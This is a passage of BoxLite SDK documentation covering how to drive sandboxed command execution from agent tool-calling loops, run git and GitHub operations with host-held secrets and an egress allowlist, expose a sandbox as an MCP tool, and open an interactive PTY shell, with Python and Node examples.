goal}], tools=TOOLS, tool_choice="auto", ) for _ in range(max_rounds): calls = [item for item in response.output if item.type == "function_call"] if not calls: return response outputs = [] for call in calls: args = json.loads(call.arguments or "{}") result = await sandbox_exec(box, args.get("argv", [])) outputs.append({ "type": "function_call_output", "call_id": call.call_id, "output": json.dumps(result), }) response = await client.responses.create( model=model, previous_response_id=response.id, input=outputs, tools=TOOLS, tool_choice="auto", ) return response ``` \=== "Anthropic" Same schema, different wrapper key (`input_schema` instead of `parameters`) and an explicit message list instead of response chaining. ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} # provider_anthropic.py import os from anthropic import AsyncAnthropic from box_tool import SANDBOX_EXEC_SCHEMA, SANDBOX_EXEC_DESCRIPTION, sandbox_exec TOOLS = [{ "name": "sandbox_exec", "description": SANDBOX_EXEC_DESCRIPTION, "input_schema": SANDBOX_EXEC_SCHEMA, # <-- the same shared schema }] def build_client(): return AsyncAnthropic(api_key=os.environ[""]) # e.g. ANTHROPIC_API_KEY async def run_turn(client, box, goal, model, max_rounds=12): messages = [{"role": "user", "content": goal}] for _ in range(max_rounds): response = await client.messages.create( model=model, # e.g. "" max_tokens=4096, system="Use sandbox_exec to interact with the environment. Summarize when done.", messages=messages, tools=TOOLS, ) calls = [b for b in response.content if b.type == "tool_use"] if not calls: return response messages.append({"role": "assistant", "content": response.content}) results = [] for call in calls: result = await sandbox_exec(box, call.input.get("argv", [])) results.append({ "type": "tool_result", "tool_use_id": call.id, "content": str(result), }) messages.append({"role": "user", "content": results}) return response ``` **Why the first tab is the default in the full example below**: the OpenAI-compatible protocol reaches the widest set of endpoints, including self-hosted ones — not because that provider is recommended. The only requirement BoxLite places on your model is that it supports tool calling. *** ## Full example Ties both steps together. To move to another provider, change the import on the marked line — nothing else. ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} # agent.py — run with: python agent.py import asyncio import os import boxlite from box_tool import sandbox_exec # noqa: F401 (used by the provider module) from provider_openai import build_client, run_turn # <-- swap this line to change provider async def main() -> None: goal = "Check the Python version, then compute the first 10 primes and print them." try: client = build_client() # One Box per task: created on entry, destroyed on exit. async with boxlite.SimpleBox(image="python:slim") as box: response = await run_turn(client, box, goal, model=os.environ[""]) print(response) except RuntimeError as exc: # No hardware virtualization, or the image could not be pulled. print(f"sandbox unavailable: {exc}") if __name__ == "__main__": asyncio.run(main()) ``` > Verified: the box side (`sandbox_exec` against a real `python:slim` Box) was run end to end, including the non-zero-exit and missing-command paths. The provider modules were checked against each SDK's published call signature; the Anthropic tab was not exercised end to end here. *** ## Parameters and returns Only the BoxLite surface is listed — your provider SDK documents its own. ### `SimpleBox(...)` — the options that matter in an agent loop | Parameter | Type | Required | Default | Description | | - | - | - | - | - | | `image` | `str` | one of two | — | OCI image the agent works in; give it the interpreters the task needs | | `rootfs_path` | `str` | one of two | — | Path to a local OCI image layout directory (the on-disk form of a container image); an alternative to `image` | | `cpus` | `int` | no | `None` | vCPUs; set explicitly in production | | `memory_mib` | `int` | no | `None` | Memory in MiB; set explicitly in production | | `auto_remove` | `bool` | no | `True` | Destroy the Box when it stops — the usual choice for per-task isolation | | `name` | `str` | no | auto | Name it if the same agent session must reattach later | ### `await box.exec(cmd, *args, ...) -> ExecResult` | Parameter | Type | Default | Description | | - | - | - | - | | `cmd`, `*args` | `str` | — | Command and arguments passed separately, never as one string | | `env` | `dict[str, str]` | `None` | Per-execution environment variables (a **dict** at this layer) | | `timeout` | `float` | `None` | Seconds. On timeout the process is signalled and `exit_code` is negative; no exception is raised | | `cwd` | `str` | image config | Working directory | | `user` | `str` | image default | User to run as, like `docker exec --user` | | `ExecResult` field | Type | Description | | - | - | - | | `exit_code` | `int` | Non-zero does **not** raise — feed it back to the model | | `stdout` / `stderr` | `str` | Already aggregated and decoded | | `error_message` | `str \| None` | Set only when the process died abnormally | *** ## Troubleshooting ### Box side | Symptom | Cause | Fix | | - | - | - | | `RuntimeError: ... spawn_failed ... not found in $PATH` | The model asked for a binary the image does not have | Catch it in the tool wrapper (step 1) and return it as a tool result; give the model an image that has what it needs | | `ValueError: Either 'image' or 'rootfs_path' must be provided` | `SimpleBox()` constructed with neither | Pass one of them | | The box fails to start | No hardware virtualization, or the image could not be pulled | See [Installation](/getting-started/installation#platform-and-virtualization-requirements-common-to-all-sdks) | | `exec("false")` returned instead of raising | By design | Check `exit_code` yourself — see [Error handling](/guides/error-handling#troubleshooting) | ### Loop side (any provider) | Symptom | Cause | Fix | | - | - | - | | The model calls the tool but the loop never advances | Tool results were not appended to the conversation, or the call id was not echoed back | Send every result back with the id the provider gave you (`call_id` / `tool_use_id`) | | `KeyError` / empty `argv` on the tool call | Models occasionally emit malformed arguments | Validate in the wrapper and return a `stderr` message instead of raising — the model will retry | | The agent loops forever | No round cap | Keep the `max_rounds` bound and return the last response | | Provider returns a `400` about a parameter | A model-specific option your request set | That is a provider-side contract; check that provider's API reference | *** ## Related pages * [Run Claude Code](/agent-in-box/run-claude-code) — the inverse arrangement: an agent CLI running **inside** the Box, and `SkillBox`. * [Run Python code in a box](/agent-tools/code-execution-python) — `CodeBox.run(code)` when the model returns Python source rather than a command line. * [Error handling](/guides/error-handling) — which failures raise and which are returned. * [Running sandboxes at scale](/guides/at-scale) — concurrency, resource ceilings, and cleanup for many parallel agents. ### Running several agents at once BoxLite ships orchestration primitives (`BoxRuntime` / `ManagedBox`) behind an extra: ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} pip install "boxlite[orchestration]" ``` Their API is still evolving, so this page does not restate signatures that may change. The runnable references are `examples/python/07_advanced/multi_agent/` in the repository. # GitHub operations Source: https://docs.boxlite.ai/agent-tools/github-operations Let an agent clone, commit, push, and open pull requests from inside a sandbox — with your GITHUB_TOKEN never entering it. A sandbox is a networked Linux machine, so `git` and `gh` work as they always do through `SimpleBox.exec(...)`. What BoxLite adds is the safety layer around them: the token stays on the host, and outbound access narrows to GitHub. ## Quick Example Install git inside an Ubuntu sandbox, clone a **public** repository, and read the most recent commit. The whole snippet is ready to copy and run (cloning a public repo needs no token). ```python Python theme={"theme":{"light":"github-light","dark":"github-dark"}} import asyncio from boxlite import SimpleBox, BoxliteError async def main() -> None: # ubuntu base image makes it convenient to install git via apt-get; # disk_size_gb=8 leaves room for git's full dependency chain (measured at 3% used) try: async with SimpleBox(image="ubuntu:24.04", disk_size_gb=8) as box: # 1) Install git (a non-zero exit from exec does not raise; check exit_code yourself) setup = await box.exec("bash", "-lc", "apt-get update && apt-get install -y git") if setup.exit_code != 0: print("git install failed:\n", setup.stderr) return # 2) Clone a public repository clone = await box.exec( "git", "clone", "--depth", "1", "https://github.com/octocat/Hello-World.git", "/work/repo", ) if clone.exit_code != 0: print("clone failed:\n", clone.stderr) return # 3) Read the most recent commit log = await box.exec( "git", "-C", "/work/repo", "log", "-1", "--pretty=%h %s", ) print("latest commit:", log.stdout.strip()) except BoxliteError as exc: # Wrapper-layer error (e.g. validation failure); an image pull failure may be a standard RuntimeError print("BoxLite error:", exc) except RuntimeError as exc: print("runtime error (commonly image pull / virtualization unavailable):", exc) if __name__ == "__main__": asyncio.run(main()) ``` ```typescript Node.js theme={"theme":{"light":"github-light","dark":"github-dark"}} import { BoxliteError, SimpleBox } from "@boxlite-ai/boxlite"; async function main(): Promise { // ubuntu base image makes it convenient to install git via apt-get; // diskSizeGb: 8 leaves room for git's full dependency chain (measured at 3% used) try { await using box = new SimpleBox({ image: "ubuntu:24.04", diskSizeGb: 8 }); // 1) Install git (a non-zero exit from exec does not throw; check exitCode yourself) const setup = await box.exec("bash", "-lc", "apt-get update && apt-get install -y git"); if (setup.exitCode !== 0) { console.error("git install failed:\n", setup.stderr); return; } // 2) Clone a public repository const clone = await box.exec( "git", "clone", "--depth", "1", "https://github.com/octocat/Hello-World.git", "/work/repo", ); if (clone.exitCode !== 0) { console.error("clone failed:\n", clone.stderr); return; } // 3) Read the most recent commit const log = await box.exec("git", "-C", "/work/repo", "log", "-1", "--pretty=%h %s"); console.log("latest commit:", log.stdout.trim()); } catch (err) { // Wrapper-layer error, or a standard Error for image pull / virtualization failures console.error(`${err instanceof BoxliteError ? "BoxLite error" : "runtime error"}: ${err instanceof Error ? err.message : err}`); } } main(); ``` Verified: real run prints `latest commit: 7fd1a60 Merge pull request #6 from Spaceghost/patch-1`. ## Injecting GITHUB\_TOKEN with Secret (push / private repos) The command-line arguments and logs of `exec` may be recorded, so **do not** embed the token in a URL or on the command line. `Secret` provides stronger isolation: **the real token never enters the sandbox**. How `Secret` works (note how it differs from "injecting an environment variable"): * Inside the sandbox, only a **placeholder** environment variable appears: `BOXLITE_SECRET_`, whose value is the placeholder string `>` (**not** the real token). * When a program inside the sandbox makes an HTTP(S) request to a host in the `hosts` list and the **placeholder appears in a request header, the URL query string, or the request body** (the URL path is not substituted), BoxLite's MITM proxy substitutes the placeholder with the real value on the outbound path before forwarding. The real value exists only in the host proxy and never lands inside the sandbox. * So the usage is: put the placeholder in headers such as `Authorization`. This fits naturally with Bearer auth in `curl` / `gh api`, and with `git -c http.extraHeader=...`. > Note: embedding credentials in a URL such as `git clone https://user:token@github.com/...` **does not work with** Secret — git Base64-encodes the credentials into `Authorization: Basic ...`, and once encoded the placeholder can no longer be matched verbatim for substitution. For git, use `http.extraHeader` to place the placeholder in **plaintext** in a request header (see the example below). `SimpleBox(..., secrets=[...])` works too — it forwards the list to `BoxOptions`. The example below uses the low-level `Boxlite` + `Box` only to make the runtime lifecycle explicit. ```python Python theme={"theme":{"light":"github-light","dark":"github-dark"}} import asyncio from boxlite import Boxlite, BoxOptions, Secret, NetworkSpec, BoxliteError # TODO: replace with your real token; prefer reading from an environment variable over hardcoding GITHUB_TOKEN = "" # e.g. os.environ["GITHUB_TOKEN"] # After the Secret is injected, the placeholder env var is named BOXLITE_SECRET_GITHUB_TOKEN, # whose value is the placeholder string (below); the real token is not inside the sandbox. PLACEHOLDER = "" async def main() -> None: options = BoxOptions( image="ubuntu:24.04", disk_size_gb=8, # leaves room for git's full dependency chain (measured at 3% used) # Disable auto-remove so the runtime.remove in finally is the single cleanup point (default auto_remove=True) auto_remove=False, # Narrow outbound network to GitHub (default NetworkSpec is Enabled with allow_net=[], i.e. allow all) network=NetworkSpec(mode="enabled", allow_net=["github.com", "api.github.com"]), # Inject via Secret: the MITM proxy replaces the placeholder with the real token only when # an outbound request matches hosts and the placeholder appears in the header/body. secrets=[ Secret( name="github_token", value=GITHUB_TOKEN, hosts=["github.com", "api.github.com"], ), ], ) try: # Boxlite is a synchronous context manager (do not await); but runtime.create/remove are coroutines and must be awaited. with Boxlite.default() as runtime: box = await runtime.create(options) try: async with box: # Box is an async context manager # Install git inside the sandbox # The native Box.exec returns an Execution (streaming handle); await wait() to get the exit code setup = await box.exec( "bash", args=["-lc", "apt-get update && apt-get install -y git"], ) setup_result = await setup.wait() if setup_result.exit_code != 0: print("git install failed") return # Clone a private repo: use http.extraHeader to put the placeholder in plaintext in the Authorization header; # the real token is substituted by the MITM proxy on the outbound request. The placeholder itself is not a secret and may appear on the command line. clone = await box.exec( "git", args=[ "-c", f"http.extraHeader=Authorization: Bearer {PLACEHOLDER}", "clone", "--depth", "1", # TODO: replace with your private repository "https://github.com//.git", "/work/repo", ], ) clone_result = await clone.wait() print("clone exit code:", clone_result.exit_code) finally: await runtime.remove(box.id, force=True) # runtime method: remove lives on the runtime except BoxliteError as exc: print("BoxLite error:", exc) except RuntimeError as exc: print("runtime error:", exc) if __name__ == "__main__": asyncio.run(main()) ``` ```typescript Node.js theme={"theme":{"light":"github-light","dark":"github-dark"}} import { BoxliteError, JsBoxlite } from "@boxlite-ai/boxlite"; // TODO: replace with your real token; prefer reading from an environment variable over hardcoding const GITHUB_TOKEN = process.env.GITHUB_TOKEN ?? ""; // After the Secret is injected, the sandbox sees only this placeholder string; // the real token is not inside the sandbox. const PLACEHOLDER = ""; async function main(): Promise { const runtime = JsBoxlite.withDefaultConfig(); let boxId: string | null = null; try { const box = await runtime.create({ image: "ubuntu:24.04", diskSizeGb: 8, // leaves room for git's full dependency chain (measured at 3% used) // Disable auto-remove so the runtime.remove in finally is the single cleanup point autoRemove: false, // Narrow outbound network to GitHub (default is enabled with allowNet=[], i.e. allow all) network: { mode: "enabled", allowNet: ["github.com", "api.github.com"] }, // Inject via Secret: the MITM proxy replaces the placeholder with the real token only when // an outbound request matches hosts and the placeholder appears in the header/body. secrets: [{ name: "github_token", value: GITHUB_TOKEN, hosts: ["github.com", "api.github.com"] }], }); boxId = box.id; // Install git inside the sandbox const setup = await (await box.exec("bash", ["-lc", "apt-get update && apt-get install -y git"])).wait(); if (setup.exitCode !== 0) { console.error("git install failed"); return; } // Clone a private repo: use http.extraHeader to put the placeholder in plaintext in the // Authorization header; the real token is substituted by the MITM proxy on the outbound request. const clone = await ( await box.exec("git", [ "-c", `http.extraHeader=Authorization: Bearer ${PLACEHOLDER}`, "clone", "--depth", "1", // TODO: replace with your private repository "https://github.com//.git", "/work/repo", ]) ).wait(); console.log("clone exit code:", clone.exitCode); } catch (err) { console.error(`${err instanceof BoxliteError ? "BoxLite error" : "runtime error"}: ${err instanceof Error ? err.message : err}`); } finally { if (boxId) await runtime.remove(boxId, true); runtime.close(); } } main(); ``` > Tip: the low-level `Box.exec(...)` returns an `Execution` (a streaming handle); call `await execution.wait()` to get the exit code. If you only need the three fields `exit_code` / `stdout` / `stderr` and want something simpler, prefer `SimpleBox` (as in the Quick Example), whose `exec` returns an `ExecResult` directly. The low-level `Box` is used here only to make the runtime lifecycle explicit. The low-level `JsBox.exec(...)` (via `JsBoxlite.create`) accepts `args` as a plain array with `env` optional, unlike `SimpleBox.exec`'s array overload, which requires `env`. > > Likewise, when calling the GitHub REST API, put the placeholder in the Bearer header (the proxy substitutes the real value). If `gh` is not pre-installed, use `curl`, for example: > `curl -H "Authorization: Bearer " https://api.github.com/user`. ## Parameters & Returns This page introduces no new API; it only reuses existing capabilities. The tables below list the real parameters relevant to "running Git inside a sandbox". ### `SimpleBox.exec(cmd, *args, ...)` key parameters | Parameter | Type | Required | Description | | - | - | - | - | | `cmd` | `str` | Yes | The executable to run, e.g. `"git"`, `"bash"` | | `*args` | `str` | No | Command arguments, e.g. `"clone"`, `"--depth"`, `"1"` | | `env` | `dict[str, str]` | No | Environment variables; **SimpleBox uses a dict** (the low-level `Box.exec` uses `list[tuple]`) | | `user` | `str` | No | Run as the given user | | `timeout` | `float` | No | Timeout in seconds (the corresponding parameter on the low-level `Box.exec` is `timeout_secs`) | | `cwd` | `str` | No | Working directory | Returns `ExecResult`: | Field | Type | Description | | - | - | - | | `exit_code` | `int` | Exit code; **a non-zero exit does not raise** — check it yourself | | `stdout` | `str` | Standard output | | `stderr` | `str` | Standard error | | `error_message` | `str \| None` | Non-None only when the process died abnormally | ### `Secret(...)` (credential injection entry point) | Parameter | Type | Required | Description | | - | - | - | - | | `name` | `str` | Yes | Secret name; injects the placeholder env var `BOXLITE_SECRET_` into the sandbox (value is the placeholder, not the real value) | | `value` | `str` | Yes | The real value; lives **only in the host MITM proxy** and never enters the sandbox | | `hosts` | `list[str]` | No | Restrict this secret to these hosts (supports `*.example.com` wildcards); default `[]` | | `placeholder` | `str` | No | Custom placeholder text; defaults to `>` | ### `NetworkSpec(...)` (outbound narrowing) | Parameter | Type | Required | Description | | - | - | - | - | | `mode` | `"enabled" \| "disabled"` | **Yes** | `"enabled"` turns networking on; `"disabled"` gives the box no network interface at all | | `allow_net` | `list[str]` | No | Egress allowlist; default `[]` = allow all | ## Troubleshooting | Symptom / error | Cause | Fix | | - | - | - | | Looking for `box.git_clone()` / `box.open_pr()` | Git and GitHub run through their own CLIs inside the sandbox | Use `box.exec("git", ...)` / `box.exec("gh", ...)` | | `clone` returns `exit_code == 128` but the code raised nothing | A non-zero exit from `exec` **does not raise**; it returns `ExecResult(exit_code != 0)` | Check `result.exit_code` after every `exec` and read `result.stderr` as needed | | `git: command not found` | The base image does not ship git | Install it first: `apt-get install -y git` (Debian/Ubuntu) or `apk add git` (Alpine) | | `apt-get install -y git` fails with `dpkg: error processing archive ... failed to write (No space left on device)` | The default box disk is too small for git's full dependency chain on `ubuntu:24.04` (curl, ssh, ldap, and others) | `disk_size_gb=8` (measured at 3% used after install) | | `RuntimeError` (image pull failed) | A network hiccup or a wrong image name | Catch `RuntimeError` and retry; confirm the image reference is correct | | Token appears in logs | The token was embedded in a `git clone https://@...` command-line argument | Use `Secret` and put only the placeholder on the command line (e.g. `git -c http.extraHeader="Authorization: Bearer "`); the real value is substituted by the proxy on the outbound path, and restrict `hosts` | | Secret is set but git/curl still gets 401/403 | The placeholder did not appear in the outbound request, so the proxy could not substitute it: common when credentials are embedded in a `https://user:token@host/...` URL (git Base64-encodes them and the placeholder is broken up), or the target host is not in the `hosts` list | Put the placeholder in a **plaintext request header** (git: `http.extraHeader`; curl/gh: `Authorization: Bearer`); confirm the target host is listed in `Secret.hosts` and `NetworkSpec.allow_net` | | Push to a private repo returns 403 / auth failure | The PAT lacks permissions, or the placeholder does not match the `Secret` name | Confirm the PAT has `repo` / `workflow` scopes; confirm the placeholder is `>` (the name must match `Secret(name=...)` exactly, including case) | | Sandbox fails to start | No hardware virtualization | Requires Linux + KVM / hardware virtualization; macOS uses the built-in microVM / Hypervisor.framework; without virtualization, startup fails (you can catch the exception and keep the process alive) | ## Related pages * [Run Python code inside a sandbox](/agent-tools/code-execution-python) # Agent tools Source: https://docs.boxlite.ai/agent-tools/index The capabilities an agent calls: run code, run any command, drive a terminal, a browser, or a desktop, and expose it all over MCP. These are the things an agent *does* inside a box. Each page owns one capability, its parameters, and a runnable example. If the agent should live **inside** the box rather than call into it, see [Agent in a box](/agent-in-box/index) instead. ## In this section `CodeBox` and stdout back — the shortest path from an LLM's output to a result. Any shell command or executable, in any language, in a disposable microVM. A real interactive terminal, like `docker exec -it`. A real Chromium, Firefox, or WebKit, exposed over CDP. A full Linux desktop the agent can see and click. Clone, commit, push, and open pull requests from inside a sandbox. One safe door: the model proposes, your loop executes. Expose sandboxed execution to any Model Context Protocol client. ## Which page do I want? | You are asking | Page | | - | - | | Run code an LLM just wrote | [code execution python](/agent-tools/code-execution-python) | | Run a build, a test suite, or any binary | [code execution any language](/agent-tools/code-execution-any-language) | | Keep a shell session open across turns | [pseudo terminal](/agent-tools/pseudo-terminal) | | Let the agent browse the web | [browser automation](/agent-tools/browser-automation) | | Let the agent use a GUI | [computer use](/agent-tools/computer-use) | | Wire this into an existing tool-calling loop | [drive from agent loop](/agent-tools/drive-from-agent-loop) | | Expose it to Claude Desktop or another MCP client | [mcp server](/agent-tools/mcp-server) | # Wrap a sandbox as an MCP tool handler Source: https://docs.boxlite.ai/agent-tools/mcp-server Expose sandboxed command execution to any Model Context Protocol (MCP) client by wrapping BoxLite in a small MCP server of your own. You write the MCP server; BoxLite supplies the sandbox behind it. An MCP tool handler calls `SimpleBox.exec(...)` and returns the result — nothing in the pattern is BoxLite-specific except the two lines that start the box. ## Quick Example This is the sandbox half — the function you register as an MCP tool. It is complete and runnable on its own. ```python Python theme={"theme":{"light":"github-light","dark":"github-dark"}} import asyncio from boxlite import SimpleBox, BoxliteError async def run_in_sandbox(command: str, *args: str) -> dict: """Run one command in an isolated sandbox and return a serializable result.""" try: # auto_remove=True tears the box down on exit; image is required async with SimpleBox(image="alpine:latest", auto_remove=True) as box: result = await box.exec(command, *args, timeout=30.0) # A non-zero exit code does NOT raise — return it as data return { "exit_code": result.exit_code, "stdout": result.stdout, "stderr": result.stderr, } except BoxliteError as exc: # Wrapper-layer errors (e.g. ExecError) subclass BoxliteError return {"error": str(exc)} except RuntimeError as exc: # Image pull failures and missing virtualization surface as RuntimeError return {"error": f"runtime failure: {exc}"} async def main() -> None: print(await run_in_sandbox("echo", "hello from the box")) if __name__ == "__main__": asyncio.run(main()) ``` ```typescript Node.js theme={"theme":{"light":"github-light","dark":"github-dark"}} import { BoxliteError, SimpleBox } from "@boxlite-ai/boxlite"; interface RunResult { exitCode?: number; stdout?: string; stderr?: string; error?: string; } // Run one command in an isolated sandbox and return a serializable result. async function runInSandbox(command: string, ...args: string[]): Promise { try { // autoRemove: true tears the box down on exit; image is required await using box = new SimpleBox({ image: "alpine:latest", autoRemove: true }); const result = await box.exec(command, args, {}, { timeoutSecs: 30 }); // A non-zero exit code does NOT throw — return it as data return { exitCode: result.exitCode, stdout: result.stdout, stderr: result.stderr }; } catch (err) { if (err instanceof BoxliteError) { // Wrapper-layer errors (e.g. ExecError) subclass BoxliteError return { error: err.message }; } // Image pull failures and missing virtualization surface as a standard Error return { error: `runtime failure: ${err instanceof Error ? err.message : err}` }; } } async function main(): Promise { console.log(await runInSandbox("echo", "hello from the box")); } main(); ``` Verified: real run prints `{ exitCode: 0, stdout: 'hello from the box\n', stderr: '' }`. To make it an actual MCP tool, register it with a standalone MCP framework — for example `FastMCP` from the official `mcp` Python package, installed separately. The full build, including a client that performs the handshake, is in the use cases: [Expose a sandbox as an MCP tool](/use-cases/mcp-tool-server). ## Parameters and Returns The MCP layer has no BoxLite-specific parameters. The table below covers the `SimpleBox.exec` surface used above so this page stands alone. | Parameter | Required | Type | Notes | | - | - | - | - | | `image` (constructor) | Yes (or `rootfs_path`) | `str` | Container image to boot, e.g. `"alpine:latest"` | | `auto_remove` (constructor) | No | `bool` | Default `True`. Remove the box on exit | | `cmd` (first arg to `exec`) | Yes | `str` | Executable to run | | `*args` | No | `str` | Command arguments | | `timeout` | No | `float` | Seconds. `SimpleBox.exec` uses `timeout`; the native `Box.exec` uses `timeout_secs` | | `env` | No | `dict[str, str]` | A **dict**, not a list | `exec` returns an `ExecResult`: | Field | Type | Notes | | - | - | - | | `exit_code` | `int` | A non-zero value does **not** raise — check it yourself | | `stdout` | `str` | Captured standard output | | `stderr` | `str` | Captured standard error | | `error_message` | `str \| None` | Set only when the process died abnormally | ## Related capability: MCP inside the box `SkillBox` starts the in-box Claude CLI with an MCP config file, so the *agent inside the sandbox* can talk to MCP servers. That path configures the agent, not a host-side endpoint — see [Run Claude Code](/agent-in-box/run-claude-code). ## Troubleshooting | Symptom | Cause | Fix | | - | - | - | | `ModuleNotFoundError: No module named 'boxlite.mcp'` | The MCP layer lives in your own code, not in the SDK | Use your MCP framework and wrap `SimpleBox.exec` as shown above | | The tool returned `exit_code: 1` with no exception | `exec` does not raise on a non-zero exit | Inspect `result.exit_code` and pass it back to the client | | `RuntimeError` instead of `BoxliteError` | Missing virtualization or an image pull failure | Catch `RuntimeError` separately and retry | | `Error: Cannot find module '@boxlite-ai/boxlite'` (Node) | Wrong package name | The Node package is `@boxlite-ai/boxlite`, not `boxlite` | ## Related * [Expose a sandbox as an MCP tool](/use-cases/mcp-tool-server) — the end-to-end build with a real client handshake. * [Run Python code in a box](/agent-tools/code-execution-python) — the execution primitives behind the tools. * [Secrets and hardening](/manage-sandbox/secrets-and-security) — inject an MCP server's API key safely. # Interactive shell (PTY) Source: https://docs.boxlite.ai/agent-tools/pseudo-terminal InteractiveBox opens a real interactive terminal inside a sandbox, like docker exec -it — every keystroke reaches the shell or REPL in the box, and its output comes back in real time. Under the hood it allocates a PTY for the command and forwards your local stdin, stdout, and stderr bidirectionally. > `InteractiveBox` — the wrapper that handles raw mode and bidirectional forwarding for you — ships in the Python and Node SDKs. PTY itself works from every SDK: call `exec(..., tty=True)` to get an `Execution` and forward stdin/stdout yourself (see "Lower-level PTY" at the end). * **You must run this in a real terminal.** Interactive forwarding is enabled only when stdin is a TTY; in CI, pipes, Jupyter, or an IDE's "Run" button, stdin is usually not a TTY, so keyboard forwarding is disabled automatically (see the `tty` parameter under [Parameters and Returns](#parameters-and-returns)). *** ## Quick Example (happy path) ### Python Save the whole block below as `interactive.py`, run `python interactive.py` in a **terminal**, and you drop straight into the box's shell. Type `exit` or press Ctrl-D to quit. ```python Python theme={"theme":{"light":"github-light","dark":"github-dark"}} # interactive.py # How to run: execute in a real terminal python interactive.py import asyncio import os import sys from boxlite import InteractiveBox async def main() -> None: print("Starting interactive Alpine container...") print("Type 'exit' or press Ctrl-D to quit\n") # Pass the local TERM into the box for correct color/cursor behavior term_mode = os.environ.get("TERM", "xterm-256color") try: # InteractiveBox is an async context manager: # entering async with automatically creates+starts the box and launches a PTY-backed shell. async with InteractiveBox( image="alpine:latest", shell="/bin/sh", # optional, defaults to /bin/sh env=[("TERM", term_mode)], # env is list[tuple[str, str]] ) as itbox: # You are now inside the interactive shell. # I/O is forwarded bidirectionally by a background task; wait() blocks until the shell exits. await itbox.wait() except KeyboardInterrupt: print("\nInterrupted by Ctrl-C") except Exception as exc: # startup failure / no virtualization / image pull failure, etc. print(f"\nError: {exc}", file=sys.stderr) sys.exit(1) if __name__ == "__main__": asyncio.run(main()) ``` ```typescript Node.js theme={"theme":{"light":"github-light","dark":"github-dark"}} // interactive.mjs // How to run: execute in a real terminal node interactive.mjs import { InteractiveBox } from "@boxlite-ai/boxlite"; async function main() { console.log("Starting interactive shell... (type 'exit' to quit)\n"); const box = new InteractiveBox({ image: "alpine:latest", shell: "/bin/sh", // optional, defaults to /bin/sh tty: true, // force I/O forwarding on; if omitted, auto-detected from whether stdin is a TTY }); try { await box.start(); // launch the PTY-backed shell and begin forwarding await box.wait(); // block until the shell exits console.log("\nShell exited."); } catch (err) { console.error("Error:", err); process.exitCode = 1; } finally { await box.stop(); // restore terminal mode and destroy the box } } main(); ``` For the Node version, save it as `interactive.mjs` (`@boxlite-ai/boxlite` is ESM-only) and run `node interactive.mjs` in a terminal. *** ## Parameters and Returns ### `InteractiveBox(...)` constructor parameters (Python) Source: `InteractiveBox.__init__` in `sdks/python/boxlite/interactivebox.py`. `InteractiveBox` extends `SimpleBox`; keyword arguments not listed (such as `working_dir`, `volumes`, `ports`) pass through `**kwargs` to `SimpleBox`. | Parameter | Type | Required | Default | Description | | - | - | - | - | - | | `image` | `str` | **Yes** (positional) | — | Container image, such as `alpine:latest`. | | `shell` | `str` | No | `/bin/sh` | The shell/REPL to launch, for example `/bin/bash`, `python`. | | `tty` | `bool \| None` | No | `None` | I/O forwarding mode: `None` = auto (forward only if `sys.stdin.isatty()`); `True` = force forwarding; `False` = no forwarding (programmatic control only). | | `memory_mib` | `int \| None` | No | `None` (system default) | Memory limit in MiB. When `None`, the runtime applies its system default — see [Compute resources](/manage-sandbox/compute-resources#defaults). | | `cpus` | `int \| None` | No | `None` (system default) | Number of CPU cores. When `None`, the runtime applies its system default — see [Compute resources](/manage-sandbox/compute-resources#defaults). | | `runtime` | `Boxlite \| None` | No | `None` (global default runtime) | Reuse an existing runtime instance. | | `name` | `str \| None` | No | `None` | Box name (must be unique). | | `auto_remove` | `bool` | No | `True` | Remove the box automatically after it stops. | | `env` | `list[tuple[str, str]]` | No | `[]` | Environment variables. **`InteractiveBox` passes this straight to the lower-level `Box.exec`, so it must be `list[tuple]`** (not a dict). | > Leaving `memory_mib` / `cpus` unset means "let the runtime decide". [Compute resources → Defaults](/manage-sandbox/compute-resources#defaults) is the single source of truth for those numbers. > Naming difference: in `SimpleBox.exec(env=...)` the env is a **dict**; but `InteractiveBox`'s constructor `env` is fed directly to native `Box.exec`, so it must be a **list\[tuple]** (see `_start_interactive_shell` in `interactivebox.py`). ### `InteractiveBoxOptions` (Node) Source: `sdks/node/lib/interactivebox.ts`. Extends `SimpleBoxOptions`; the constructor **requires an options object**. | Field | Type | Required | Default | Description | | - | - | - | - | - | | `image` | `string` | **Yes** | — | Container image. | | `shell` | `string` | No | `/bin/sh` | The shell/REPL to launch. | | `tty` | `boolean` | No | `undefined` (auto) | `undefined` = auto by `process.stdin.isTTY`; `true` = force forwarding; `false` = no forwarding. | | `memoryMib` | `number` | No | system default | Memory limit in MiB. Unset = the runtime's system default ([Compute resources](/manage-sandbox/compute-resources#defaults)). | | `cpus` | `number` | No | system default | Number of CPU cores. Unset = the runtime's system default ([Compute resources](/manage-sandbox/compute-resources#defaults)). | | `name` | `string` | No | — | Box name. | | `env` | `Record` | No | — | Environment variables (Node uses an object here; internally converted to `[k, v]` arrays). | ### Methods and return values | Action | Python | Node | Description | | - | - | - | - | | Enter the session | `async with InteractiveBox(...) as box:` (auto start) | `await box.start()` | Launch the PTY-backed shell; if in a TTY, switch the local terminal to raw mode and begin forwarding. | | Wait for exit | `await box.wait()` | `await box.wait()` | Block until the shell inside the box exits. Returns `None`. | | Exit / clean up | Leaving `async with` (auto `__aexit__`) | `await box.stop()` (or `await using` automatically) | Restore the local terminal mode, stop forwarding, and destroy the box. | | Box id | `box.id` (after start, synchronous) | `box.id` (after start, synchronous getter) | Accessing it before start raises. | > Context-manager type: `InteractiveBox` is an **async** context manager (`async with`). The runtime handle `Boxlite` is a synchronous `with` — don't mix them up. *** ## Troubleshooting ### No interaction, keyboard does nothing (running in an IDE/CI/pipe) Symptom: the script runs, but keystrokes get no response, or it blocks at `wait()`. Cause: interactive forwarding is enabled only when **stdin is a TTY**. `tty=None` (Python) / `undefined` (Node) auto-detects; under an IDE "Run" button, CI, `python x.py < file`, or `| pipe`, stdin is not a TTY, so forwarding is off. Fix: run it in a real terminal; if you must force forwarding, pass `tty=True` (Python) / `tty: true` (Node) explicitly. Note: when you force `tty=True` in a non-TTY environment, Python calls `termios.tcgetattr` / `tty.setraw` on stdin in `__aenter__` and raises `termios.error`. The exact errno varies by platform / stdin type (commonly `(25, 'Inappropriate ioctl for device')` under a pipe, and `(19, 'Operation not supported by device')` on macOS without a TTY). Whatever the errno, it is the same `termios.error` class; catch it with `except termios.error` (or a broad `except Exception`). ### env passed with the wrong type `InteractiveBox`'s `env` is passed to the lower-level `Box.exec`, so it must be `list[tuple[str, str]]`: ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} # Correct env=[("TERM", 